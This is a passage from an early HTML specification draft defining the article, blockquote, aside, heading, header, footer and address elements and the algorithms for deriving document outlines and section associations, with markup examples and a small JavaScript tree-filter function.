elements represent   articles that are in principle related to the contents of the outer   article. For instance, a Web log entry on a site that accepts   user-submitted comments could represent the comments as <code><a   href="#article0">article</a></code> elements nested within the <code><a   href="#article0">article</a></code> element for the Web log entry.  <p>Author information associated with an <code><a   href="#article0">article</a></code> element (q.v. the <code><a   href="#address0">address</a></code> element) does not apply to nested   <code><a href="#article0">article</a></code> elements.  <p>Each <code><a href="#article0">article</a></code> element potentially   has a heading. See the section on <a href="#headings1">headings and   sections</a> for further details.  <h4 id=the-blockquote><span class=secno>3.8.5. </span>The <dfn   id=blockquote0><code>blockquote</code></dfn> element</h4>  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a   href="#block-level1" title="block-level elements">block-level element</a>,   and <a href="#structured" title="structured inline-level   elements">structured inline-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dd>Where <a href="#structured">structured inline-level elements</a> are    allowed.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>.   <dt>Element-specific attributes:   <dd><code title=attr-blockquote-cite><a href="#cite0">cite</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmlquoteelement>HTMLQuoteElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute DOMString <a href="#cite1" title=dom-quote-cite>cite</a>;};</pre>    <p class=note>The <code><a     href="#htmlquoteelement">HTMLQuoteElement</a></code> interface is also     used by the <code><a href="#q0">q</a></code> element.</p>  </dl>  <p>The <code><a href="#blockquote0">blockquote</a></code> element   represents a section that is quoted from another source.  <p>Content inside a <code><a href="#blockquote0">blockquote</a></code> must   be quoted from another source, whose URI, if it has one, should be cited   in the <dfn id=cite0 title=attr-blockquote-cite><code>cite</code></dfn>   attribute.  <p>If the <code title=attr-blockquote-cite><a href="#cite0">cite</a></code>   attribute is present, it must be a URI (or IRI). User agents should allow   users to follow such citation links.  <p>If a <code><a href="#blockquote0">blockquote</a></code> element is <a   href="#preceeded">preceeded or followed</a> by a <code><a   href="#p0">p</a></code> element that contains a single <code><a   href="#cite3">cite</a></code> element and is itself not <a   href="#preceeded">preceeded or followed</a> by another <code><a   href="#blockquote0">blockquote</a></code> element and does not itself have   a <code><a href="#q0">q</a></code> element descendant, then, the citation   given by that <code><a href="#cite3">cite</a></code> element gives the   source of the quotation contained in the <code><a   href="#blockquote0">blockquote</a></code> element.  <p>Each <code><a href="#blockquote0">blockquote</a></code> element   potentially has a heading. See the section on <a   href="#headings1">headings and sections</a> for further details.  <p>The <dfn id=cite1 title=dom-quote-cite><code>cite</code></dfn> DOM   attribute <code>reflects</code> the element's <code title="">cite</code>   content attribte.  <p class=note>The best way to represent a conversation is not with the   <code><a href="#cite3">cite</a></code> and <code><a   href="#blockquote0">blockquote</a></code> elements, but with the <code><a   href="#dialog0">dialog</a></code> element.  <h4 id=the-aside><span class=secno>3.8.6. </span>The <dfn   id=aside0><code>aside</code></dfn> element</h4>  <p><a href="#sectioning" title="sectioning elements">Sectioning</a> <a   href="#block-level1" title="block-level elements">block-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>, or <a    href="#inline-level1">inline-level content</a> (but not both).   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd><code title=class-example><a href="#example1">example</a></code>,    <code title=class-issue><a href="#issue0">issue</a></code>, <code    title=class-note><a href="#note0">note</a></code>, <code    title=class-search><a href="#search1">search</a></code>, <code    title=class-warning><a href="#warning0">warning</a></code>   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#aside0">aside</a></code> element represents a   section of a page that consists of content that is tangentially related to   the content around the <code><a href="#aside0">aside</a></code> element,   and which could be considered separate from that content. Such sections   are often represented as sidebars in printed typography.  <p>When <a href="#determining2" title="Determining if a particular element   contains block-level elements or inline-level content">used as an   inline-level content</a> container, the element represents a <a   href="#paragraph">paragraph</a>.  <p>Each <code><a href="#aside0">aside</a></code> element potentially has a   heading. See the section on <a href="#headings1">headings and sections</a>   for further details.  <h4 id=the-h1><span class=secno>3.8.7. </span>The <dfn   id=h10><code>h1</code></dfn>, <dfn id=h20><code>h2</code></dfn>, <dfn   id=h30><code>h3</code></dfn>, <dfn id=h40><code>h4</code></dfn>, <dfn   id=h50><code>h5</code></dfn>, and <dfn id=h60><code>h6</code></dfn>   elements</h4>  <p><a href="#block-level1">Block-level elements</a>.  <dl class=element>   <dt>Contexts in which these elements may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd><a href="#significant" title="significant inline    content">Significant</a> <a href="#strictly">strictly inline-level    content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>These elements define headers for their sections.  <p>The semantics and meaning of these elements are defined in the section   on <a href="#headings1">headings and sections</a>.  <p>These elements have a <dfn id=rank>rank</dfn> given by the number in   their name. The <code><a href="#h10">h1</a></code> element is said to have   the highest rank, the <code><a href="#h60">h6</a></code> element has the   lowest rank, and two elements with the same name have equal rank.  <p>These elements must not be <a href="#significant" title="significant   inline content">empty</a>.  <h4 id=the-header><span class=secno>3.8.8. </span>The <dfn   id=header0><code>header</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected    and there are no <code><a href="#header0">header</a></code> ancestors.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>,    including at least one descendant <code><a href="#h10">h1</a></code>,    <code><a href="#h20">h2</a></code>, <code><a href="#h30">h3</a></code>,    <code><a href="#h40">h4</a></code>, <code><a href="#h50">h5</a></code>,    or <code><a href="#h60">h6</a></code> element, but no <span>sectioning    element</span> descendants, no <code><a href="#header0">header</a></code>    element descendants, and no <code><a href="#footer0">footer</a></code>    element descendants.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#header0">header</a></code> element represents the   header of a section. Headers may contain more than just the section's   heading AMPERSANDmdash; for example it would be reasonable for the header to   include version history information.  <p><code><a href="#header0">header</a></code> elements must not contain any   <code><a href="#header0">header</a></code> elements, <code><a   href="#footer0">footer</a></code> elements, or any sectioning elements   (such as <code><a href="#section0">section</a></code>) as descendants.  <p><code><a href="#header0">header</a></code> elements must have at least   one <code><a href="#h10">h1</a></code>, <code><a   href="#h20">h2</a></code>, <code><a href="#h30">h3</a></code>, <code><a   href="#h40">h4</a></code>, <code><a href="#h50">h5</a></code>, or <code><a   href="#h60">h6</a></code> element as a descendant.  <p>For the purposes of document summaries, outlines, and the like, <code><a   href="#header0">header</a></code> elements are equivalent to the highest   <a href="#rank" title=rank>ranked</a> <code><a   href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> element   descendant (the first such element if there are multiple elements with   that <a href="#rank">rank</a>).  <p>Other heading elements indicate subheadings or subtitles.  <div class=example>   <p>Here are some examples of valid headers. In each case, the emphasised    text represents the text that would be used as the header in an    application extracting header data and ignoring subheadings.</p>   <pre>AMPERSANDlt;headerAMPERSANDgt; AMPERSANDlt;h1AMPERSANDgt;<strong>The reality dysfunction</strong>AMPERSANDlt;/h1AMPERSANDgt; AMPERSANDlt;h2AMPERSANDgt;Space is not the only voidAMPERSANDlt;/h2AMPERSANDgt;AMPERSANDlt;/headerAMPERSANDgt;</pre>   <pre>AMPERSANDlt;headerAMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;Welcome to...AMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;h1AMPERSANDgt;<strong>Voidwars!</strong>AMPERSANDlt;/h1AMPERSANDgt;AMPERSANDlt;/headerAMPERSANDgt;</pre>   <pre>AMPERSANDlt;headerAMPERSANDgt; AMPERSANDlt;h1AMPERSANDgt;<strong>Scalable Vector Graphics (SVG) 1.2</strong>AMPERSANDlt;/h1AMPERSANDgt; AMPERSANDlt;h2AMPERSANDgt;W3C Working Draft 27 October 2004AMPERSANDlt;/h2AMPERSANDgt; AMPERSANDlt;dlAMPERSANDgt;  AMPERSANDlt;dtAMPERSANDgt;This version:AMPERSANDlt;/dtAMPERSANDgt;  AMPERSANDlt;ddAMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/TR/2004/WD-SVG12-20041027/"AMPERSANDgt;http://www.w3.org/TR/2004/WD-SVG12-20041027/AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;  AMPERSANDlt;dtAMPERSANDgt;Previous version:AMPERSANDlt;/dtAMPERSANDgt;  AMPERSANDlt;ddAMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/TR/2004/WD-SVG12-20040510/"AMPERSANDgt;http://www.w3.org/TR/2004/WD-SVG12-20040510/AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;  AMPERSANDlt;dtAMPERSANDgt;Latest version of SVG 1.2:AMPERSANDlt;/dtAMPERSANDgt;  AMPERSANDlt;ddAMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/TR/SVG12/"AMPERSANDgt;http://www.w3.org/TR/SVG12/AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;  AMPERSANDlt;dtAMPERSANDgt;Latest SVG Recommendation:AMPERSANDlt;/dtAMPERSANDgt;  AMPERSANDlt;ddAMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/TR/SVG/"AMPERSANDgt;http://www.w3.org/TR/SVG/AMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;  AMPERSANDlt;dtAMPERSANDgt;Editor:AMPERSANDlt;/dtAMPERSANDgt;  AMPERSANDlt;ddAMPERSANDgt;Dean Jackson, W3C, AMPERSANDlt;a href="mailto:dean@w3.org"AMPERSANDgt;dean@w3.orgAMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt;  AMPERSANDlt;dtAMPERSANDgt;Authors:AMPERSANDlt;/dtAMPERSANDgt;  AMPERSANDlt;ddAMPERSANDgt;See AMPERSANDlt;a href="#authors"AMPERSANDgt;Author ListAMPERSANDlt;/aAMPERSANDgt;AMPERSANDlt;/ddAMPERSANDgt; AMPERSANDlt;/dlAMPERSANDgt; AMPERSANDlt;p class="copyright"AMPERSANDgt;AMPERSANDlt;a href="http://www.w3.org/Consortium/Legal/ipr-notic <em>...</em>AMPERSANDlt;/headerAMPERSANDgt;</pre>  </div>  <p>The section on <a href="#headings1">headings and sections</a> defines   how <code><a href="#header0">header</a></code> elements are assigned to   individual sections.  <p>The <a href="#rank">rank</a> of a <code><a   href="#header0">header</a></code> element is the same as for an <code><a   href="#h10">h1</a></code> element (the highest rank).  <h4 id=the-footer><span class=secno>3.8.9. </span>The <dfn   id=footer0><code>footer</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd>Either zero or more <a href="#block-level1">block-level elements</a>,    but with no <code><a href="#h10">h1</a></code>, <code><a    href="#h20">h2</a></code>, <code><a href="#h30">h3</a></code>, <code><a    href="#h40">h4</a></code>, <code><a href="#h50">h5</a></code>, <code><a    href="#h60">h6</a></code>, <code><a href="#header0">header</a></code>, or    <code><a href="#footer0">footer</a></code> elements as descendants, and    with no <a href="#sectioning" title="sectioning elements">sectioning    elements</a> as descendants; or, <a href="#inline-level1">inline-level    content</a> (but not both).   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#footer0">footer</a></code> element represents the   footer for the section it <a href="#applyToSection">applies</a> to. A   footer typically contains information about its section such as who wrote   it, links to related documents, copyright data, and the like.  <p><code><a href="#footer0">footer</a></code> elements must not contain any   <code><a href="#footer0">footer</a></code>, <code><a   href="#header0">header</a></code>, <code><a href="#h10">h1</a></code>,   <code><a href="#h20">h2</a></code>, <code><a href="#h30">h3</a></code>,   <code><a href="#h40">h4</a></code>, <code><a href="#h50">h5</a></code>, or   <code><a href="#h60">h6</a></code> elements, or any of the sectioning   elements (such as <code><a href="#section0">section</a></code>), as   descendants.  <p>When <a href="#determining2" title="Determining if a particular element   contains block-level elements or inline-level content">used as an   inline-level content</a> container, the element represents a <a   href="#paragraph">paragraph</a>.  <p>Contact information for the section given in a <code><a   href="#footer0">footer</a></code> should be marked up using the <code><a   href="#address0">address</a></code> element.</p>  <!-- XXX examples needed -->  <h4 id=the-address><span class=secno>3.8.10. </span>The <dfn   id=address0><code>address</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dt>Content model:   <dd><a href="#inline-level1">Inline-level content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#address0">address</a></code> element represents a <a   href="#paragraph">paragraph</a> of contact information for the section it   <a href="#applyToSection">applies</a> to.  <div class=example>   <p>For example, a page at the W3C Web site related to HTML might include    the following contact information:</p>   <pre>AMPERSANDlt;ADDRESS> AMPERSANDlt;A href="../People/Raggett/">Dave RaggettAMPERSANDlt;/A>,  AMPERSANDlt;A href="../People/Arnaud/">Arnaud Le HorsAMPERSANDlt;/A>,  contact persons for the AMPERSANDlt;A href="Activity">W3C HTML ActivityAMPERSANDlt;/A>AMPERSANDlt;/ADDRESS></pre>  </div>  <p>The <code><a href="#address0">address</a></code> element must not be   used to represent arbitrary addresses (e.g. postal addresses), unless   those addresses are contact information for the section. (The <code><a   href="#p0">p</a></code> element is the appropriate element for marking up   such addresses.)  <p>The <code><a href="#address0">address</a></code> element must not   contain information other than contact information.  <div class=example>   <p>For example, the following is non-conforming use of the <code><a    href="#address0">address</a></code> element:</p>   <pre>AMPERSANDlt;ADDRESS>Last Modified: 1999/12/24 23:37:50AMPERSANDlt;/ADDRESS></pre>  </div>  <p>Typically, the <code><a href="#address0">address</a></code> element   would be included with other information in a <code><a   href="#footer0">footer</a></code> element.  <p>To determine the contact information for a sectioning element (such as a   document's <code><a href="#body1">body</a></code> element, which would   give the contact information for the page), UAs must collect all the   <code><a href="#address0">address</a></code> elements that <a   href="#applyToSection">apply</a> to that sectioning element and its   ancestor sectioning elements. The contact information is the collection of   all the information given by those elements.  <p class=note>Contact information for one sectioning element, e.g. a   <code><a href="#aside0">aside</a></code> element, does not apply to its   ancestor elements, e.g. the page's <code><a href="#body1">body</a></code>.  <h4 id=headings><span class=secno>3.8.11. </span><dfn id=headings1>Headings   and sections</dfn></h4>  <p>The <code><a href="#h10">h1</a></code>-<code><a   href="#h60">h6</a></code> elements and the <code><a   href="#header0">header</a></code> element are headings.  <p>The first heading in a sectioning element gives the header for that   section. Subsequent headers of equal or higher <a href="#rank">rank</a>   start new (implied) sections, headers of lower <a href="#rank">rank</a>   start subsections that are part of the previous one.  <p>Sectioning elements other than <code><a   href="#blockquote0">blockquote</a></code> are always considered   subsections of their nearest ancestor sectioning element, regardless of   what implied sections other headings may have created. However, <code><a   href="#blockquote0">blockquote</a></code> elements <em>are</em> associated   with implied sections. Effectively, <code><a   href="#blockquote0">blockquote</a></code> elements act like sections on   the inside, and act opaquely on the outside.  <div class=example>   <p>For the following fragment:</p>   <pre>AMPERSANDlt;bodyAMPERSANDgt; AMPERSANDlt;h1AMPERSANDgt;FooAMPERSANDlt;/h1AMPERSANDgt; AMPERSANDlt;h2AMPERSANDgt;BarAMPERSANDlt;/h2AMPERSANDgt; AMPERSANDlt;blockquoteAMPERSANDgt;  AMPERSANDlt;h3AMPERSANDgt;BlaAMPERSANDlt;/h3AMPERSANDgt; AMPERSANDlt;/blockquoteAMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;BazAMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;h2AMPERSANDgt;QuuxAMPERSANDlt;/h2AMPERSANDgt; AMPERSANDlt;sectionAMPERSANDgt;  AMPERSANDlt;h3AMPERSANDgt;ThudAMPERSANDlt;/h3AMPERSANDgt; AMPERSANDlt;/sectionAMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;GruntAMPERSANDlt;/pAMPERSANDgt;AMPERSANDlt;/bodyAMPERSANDgt;</pre>   <p>...the structure would be:</p>   <ol>    <li> Foo (heading of explicit <code><a href="#body1">body</a></code>     section)     <ol>      <li> Bar (heading starting implied section)       <ol>        <li> Bla (heading of explicit <code><a         href="#blockquote0">blockquote</a></code> section)       </ol>       Baz (paragraph)      <li> Quux (heading starting implied section)      <li> Thud (heading of explicit <code><a       href="#section0">section</a></code> section)     </ol>     Grunt (paragraph)   </ol>   <p>Notice how the <code><a href="#blockquote0">blockquote</a></code> nests    inside an implicit section while the <code><a    href="#section0">section</a></code> does not (and in fact, ends the    earlier implicit section so that a later paragraph is back at the top    level).</p>  </div>  <p>Sections may contain headers of any <a href="#rank">rank</a>, but   authors are strongly encouraged to either use only <code><a   href="#h10">h1</a></code> elements, or to use elements of the appropriate   <a href="#rank">rank</a> for the section's nesting level.  <p>Authors are also encouraged to explictly wrap sections in sectioning   elements, instead of relying on the implicit sections generated by having   multiple heading in one sectioning element.  <div class=example>   <p>For example, the following is correct:</p>   <pre>AMPERSANDlt;bodyAMPERSANDgt; AMPERSANDlt;h4AMPERSANDgt;ApplesAMPERSANDlt;/h4AMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;Apples are fruit.AMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;sectionAMPERSANDgt;  AMPERSANDlt;h2AMPERSANDgt;TasteAMPERSANDlt;/h2AMPERSANDgt;  AMPERSANDlt;pAMPERSANDgt;They taste lovely.AMPERSANDlt;/pAMPERSANDgt;  AMPERSANDlt;h6AMPERSANDgt;SweetAMPERSANDlt;/h6AMPERSANDgt;  AMPERSANDlt;pAMPERSANDgt;Red apples are sweeter than green ones.AMPERSANDlt;/pAMPERSANDgt;  AMPERSANDlt;h1AMPERSANDgt;ColorAMPERSANDlt;/h1AMPERSANDgt;  AMPERSANDlt;pAMPERSANDgt;Apples come in various colors.AMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;/sectionAMPERSANDgt;AMPERSANDlt;/bodyAMPERSANDgt;</pre>   <p>However, the same document would be more clearly expressed as:</p>   <pre>AMPERSANDlt;bodyAMPERSANDgt; AMPERSANDlt;h1AMPERSANDgt;ApplesAMPERSANDlt;/h1AMPERSANDgt; AMPERSANDlt;pAMPERSANDgt;Apples are fruit.AMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;sectionAMPERSANDgt;  AMPERSANDlt;h2AMPERSANDgt;TasteAMPERSANDlt;/h2AMPERSANDgt;  AMPERSANDlt;pAMPERSANDgt;They taste lovely.AMPERSANDlt;/pAMPERSANDgt;  AMPERSANDlt;sectionAMPERSANDgt;   AMPERSANDlt;h3AMPERSANDgt;SweetAMPERSANDlt;/h3AMPERSANDgt;   AMPERSANDlt;pAMPERSANDgt;Red apples are sweeter than green ones.AMPERSANDlt;/pAMPERSANDgt;  AMPERSANDlt;/sectionAMPERSANDgt; AMPERSANDlt;/sectionAMPERSANDgt; AMPERSANDlt;sectionAMPERSANDgt;  AMPERSANDlt;h2AMPERSANDgt;ColorAMPERSANDlt;/h2AMPERSANDgt;  AMPERSANDlt;pAMPERSANDgt;Apples come in various colors.AMPERSANDlt;/pAMPERSANDgt; AMPERSANDlt;/sectionAMPERSANDgt;AMPERSANDlt;/bodyAMPERSANDgt;</pre>   <p>Both of the documents above are semantically identical and would    produce the same outline in compliant user agents.</p>  </div>  <h5 id=outlines><span class=secno>3.8.11.1. </span>Creating an outline</h5>  <p>Documents can be viewed as a tree of sections, which defines how each   element in the tree is semantically related to the others, in terms of the   overall section structure. This tree is related to the document tree, but   there is not a one-to-one relationship between elements in the DOM and the   document's sections.  <p>The tree of sections should be used when generating document outlines,   for example when generating tables of contents.  <p>To derive the tree of sections from the document tree, a hypothetical   tree is used, consisting of a view of the document tree containing only   the <code><a href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>   and <code><a href="#header0">header</a></code> elements, and the   sectioning elements other than <code><a   href="#blockquote0">blockquote</a></code>. Descendants of <code><a   href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>, <code><a   href="#header0">header</a></code>, and <code><a   href="#blockquote0">blockquote</a></code> elements must be removed from   this view.  <p>The hypothetical tree must be rooted at the <a href="#root-element">root   element</a> or at a sectioning element. In particular, while the sections   inside <code><a href="#blockquote0">blockquote</a></code>s do not   contribute to the document's tree of sections, <code><a   href="#blockquote0">blockquote</a></code>s can have outlines of their own.  <p>UAs must take this hypothetical tree (which will become the outline) and   mutate it by walking it depth first in <a href="#tree-order">tree   order</a> and, for each <code><a href="#h10">h1</a></code>-<code><a   href="#h60">h6</a></code> or <code><a href="#header0">header</a></code>   element that is not the first element of its parent sectioning element,   inserting a new sectioning element, as follows:  <dl class=switch>   <dt>If the element is a <code><a href="#header0">header</a></code>    element, or if it is an <code><a href="#h10">h1</a></code>-<code><a    href="#h60">h6</a></code> node of <a href="#rank">rank</a> equal to or    higher than the first element in the parent sectioning element (assuming    that is also an <code><a href="#h10">h1</a></code>-<code><a    href="#h60">h6</a></code> node), or if the first element of the parent    sectioning element is a sectioning element:   <dd>Insert the new sectioning element as the immediately following sibling    of the parent sectioning element, and move all the elements from the    current heading element up to the end of the parent sectioning element    into the new sectioning element.   <dt>Otherwise:   <dd>Move the current heading element, and all subsequent siblings up to    but excluding the next sectioning element, <code><a    href="#header0">header</a></code> element, or <code><a    href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> of equal or    higher <a href="#rank">rank</a>, whichever comes first, into the new    sectioning element, then insert the new sectioning element where the    current header was.  </dl>  <p>The outline is then the resulting hypothetical tree. The <a   href="#rank">rank</a>s of the headers become irrelevant at this point:   each sectioning element in the hypothetical tree contains either no or one   heading element child. If there is one, then it gives the section's   heading, of there isn't, the section has no heading.  <p>Sections are nested as in the hypothetical tree. If a sectioning element   is a child of another, that means it is a subsection of that other   section.  <p>When creating an interactive table of contents, entries should jump the   user to the relevant section element, if it was a real element in the   original document, or to the heading, if the section element was one of   those created during the above process.  <p class=example>Selecting the first section of the document therefore   always takes the user to the top of the document, regardless of where the   first header in the <code><a href="#body1">body</a></code> is to be found.</p>  <!-- XXX assuming there is a body, anyway -->  <div class=note>   <p>The hypothetical tree (before mutations) could be generated by creating    a <code>TreeWalker</code> with the following <a    href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter"><code>NodeFilter</code></a>    (described here as an anonymous ECMAScript function). <a    href="#refsDOMTR">[DOMTR]</a> <a href="#refsECMA262">[ECMA262]</a></p>   <pre>function (n) {  // This implementation only knows about HTML elements.  // An implementation that supports other languages might be  // different.  // Reject anything that isn't an element.  if (n.nodeType != Node.ELEMENT_NODE)    return NodeFilter.FILTER_REJECT;  // Skip any descendants of headings.  if (n.parentNode AMPERSANDAMPERSAND n.parentNode.namespaceURI == 'http://www.w3.org/1999/xhtml') AMPERSANDAMPERSAND      (n.parentNode.localName == 'h1' || n.parentNode.localName == 'h2' ||       n.parentNode.localName == 'h3' || n.parentNode.localName == 'h4' ||       n.parentNode.localName == 'h5' || n.parentNode.localName == 'h6' ||       n.parentNode.localName == 'header')    return NodeFilter.FILTER_REJECT;  // Skip any blockquotes.  if (n.namespaceURI == 'http://www.w3.org/1999/xhtml') AMPERSANDAMPERSAND      (n.localName == 'blockquote'))    return NodeFilter.FILTER_REJECT;  // Accept HTML elements in the list given in the prose above.  if ((n.namespaceURI == 'http://www.w3.org/1999/xhtml') AMPERSANDAMPERSAND      (n.localName == 'body' || /*n.localName == 'blockquote' ||*/       n.localName == 'section' || n.localName == 'nav' ||       n.localName == 'article' || n.localName == 'aside' ||       n.localName == 'h1' || n.localName == 'h2' ||       n.localName == 'h3' || n.localName == 'h4' ||       n.localName == 'h5' || n.localName == 'h6' ||       n.localName == 'header'))    return NodeFilter.FILTER_ACCEPT;  // Skip the rest.  return NodeFilter.FILTER_SKIP;}</pre>  </div>  <h5 id=associatedSection><span class=secno>3.8.11.2. </span>Determining   which heading and section applies to a particular node</h5>  <p>Given a particular node, user agents must use the following algorithm,   <em>in the given order</em>, to determine which heading and section the   node is most closely associated with. The processing of this algorithm   must stop as soon as the associated section and heading are established   (even if they are established to be nothing).  <ol>   <li>If the node has an ancestor that is a <code><a    href="#header0">header</a></code> element, then the associated heading is    the most distant such ancestor. The associated section is that <code><a    href="#header0">header</a></code>'s associated section (i.e. repeat this    algorithm for that <code><a href="#header0">header</a></code>).   <li>If the node has an ancestor that is an <code><a    href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> element,    then the associated heading is the most distant such ancestor. The    associated section is that heading's section (i.e. repeat this algorithm    for that heading element).   <li>If the node is an <code><a href="#h10">h1</a></code>-<code><a    href="#h60">h6</a></code> element or a <code><a    href="#header0">header</a></code> element, then the associated heading is    the element itself. The UA must then generate the <a    href="#outlines">hypothetical section tree</a> described in the previous    section, rooted at the nearest section ancestor (or the <a    href="#root-element">root element</a> if there is no such ancestor). If    the parent of the heading in that hypothetical tree is an element in the    real document tree, then that element is the associated section.    Otherwise, there is no associated section element.   <li>If the node is a sectioning element, then the associated section is    itself. The UA must then generate the <a href="#outlines">hypothetical    section tree</a> described in the previous section, rooted at the section    itself. If the section element, in that hypothetical tree, has a child    element that is an <code><a href="#h10">h1</a></code>-<code><a    href="#h60">h6</a></code> element or a <code><a    href="#header0">header</a></code> element, then that element is the    associated heading. Otherwise, there is no associated heading element.   <li>If the node is a <code><a href="#footer0">footer</a></code> or    <code><a href="#address0">address</a></code> element, then the associated    section is the nearest ancestor sectioning element, if there is one. The    node's associated heading is the same as that sectioning element's    associated heading (i.e. repeat this algorithm for that sectioning    element). If there is no ancestor sectioning element, the element has no    associated section nor an associated heading.   <li>Otherwise, the node is just a normal node, and the document has to be    examined more closely to determine its section and heading. Create a view    rooted at the nearest ancestor sectioning element (or the <a    href="#root-element">root element</a> if there is none) that has just    <code><a href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code>    elements, <code><a href="#header0">header</a></code> elements, the node    itself, and sectioning elements other than <code><a    href="#blockquote0">blockquote</a></code> elements. (Descendants of any    of the nodes in this view can be ignored, as can any node later in the    tree than the node in question, as the algorithm below merely walks    backwards up this view.)   <li>Let <var title="">n</var> be an iterator for this view, initialised at    the node in question.   <li>Let <var title="">c</var> be the current best candidate heading,    initially null, and initially not used. It is used when top-level heading    candidates are to be searched for (see below).   <li>Repeat these steps (which effectively goes backwards through the    node's previous siblings) until an answer is found:    <ol>     <li>If <var title="">n</var> points to a node with no previous sibling,      and <var title="">c</var> is null, then return the node's parent node      as the answer. If the node has no parent node, return null as the      answer.     <li>Otherwise, if <var title="">n</var> points to a node with no      previous sibling, return <var title="">c</var> as the answer.     <li>Adjust <var title="">n</var> so that it points to the previous      sibling of the current position.     <li>If <var title="">n</var> is pointing at an <code><a      href="#h10">h1</a></code> or <code><a href="#header0">header</a></code>      element, then return that element as the answer.     <li>If <var title="">n</var> is pointing at an <code><a      href="#h20">h2</a></code>-<code><a href="#h60">h6</a></code> element,      and heading candidates are not being searched for, then return that      element as the answer.     <li>Otherwise, if <var title="">n</var> is pointing at an <code><a      href="#h20">h2</a></code>-<code><a href="#h60">h6</a></code> element,      and either <var title="">c</var> is still null, or <var      title="">c</var> is a heading of lower <a href="#rank">rank</a> than      this one, then set <var title="">c</var> to be this element, and      continue going backwards through the previous siblings.     <li>If <var title="">n</var> is pointing at a sectioning element, then      from this point on top-level heading candidates are being searched for.      (Specifically, we are looking for the nearest top-level header for the      current section.) Continue going backwards through the previous      siblings.    </ol>   <li>If the answer from the previous step (the loop) is null, which can    only happen if the node has no preceeding headings and is not contained    in a sectioning element, then there is no associated heading and no    associated section.   <li>Otherwise, if the answer from the earlier loop step is a sectioning    element, then the associated section is that element and the associated    heading is that sectioning element's associated heading (i.e. repeat this    algorithm for that section).   <li>Otherwise, if the answer from that same earlier step is an <code><a    href="#h10">h1</a></code>-<code><a href="#h60">h6</a></code> element or a    <code><a href="#header0">header</a></code> element, then the associated    heading is that element and the associated section is that heading    element's associated section (i.e. repeat this algorithm for that    heading).  </ol>  <p class=note>Not all nodes have an associated header or section. For   example, if a section is implied, as when multiple headers are found in   one sectioning element, then a node in that section has an anonymous   associated section (its section is not represented by a real element), and   the algorithm above does not associate that node with any particular   sectioning element.  <div class=example>   <p>For the following fragment:</p>   <pre>AMPERSANDlt;bodyAMPERSANDgt; AMPERSANDlt;h1AMPERSANDgt;XAMPERSANDlt;/h1AMPERSANDgt; AMPERSANDlt;h2AMPERSANDgt;XAMPERSANDlt;/h2AMPERSANDgt; AMPERSANDlt;blockquoteAMPERSANDgt;  AMPERSANDlt;h3AMPERSANDgt;XAMPERSANDlt;/h3AMPERSANDgt; AMPERSANDlt;/blockquoteAMPERSANDgt; AMPERSANDlt;p 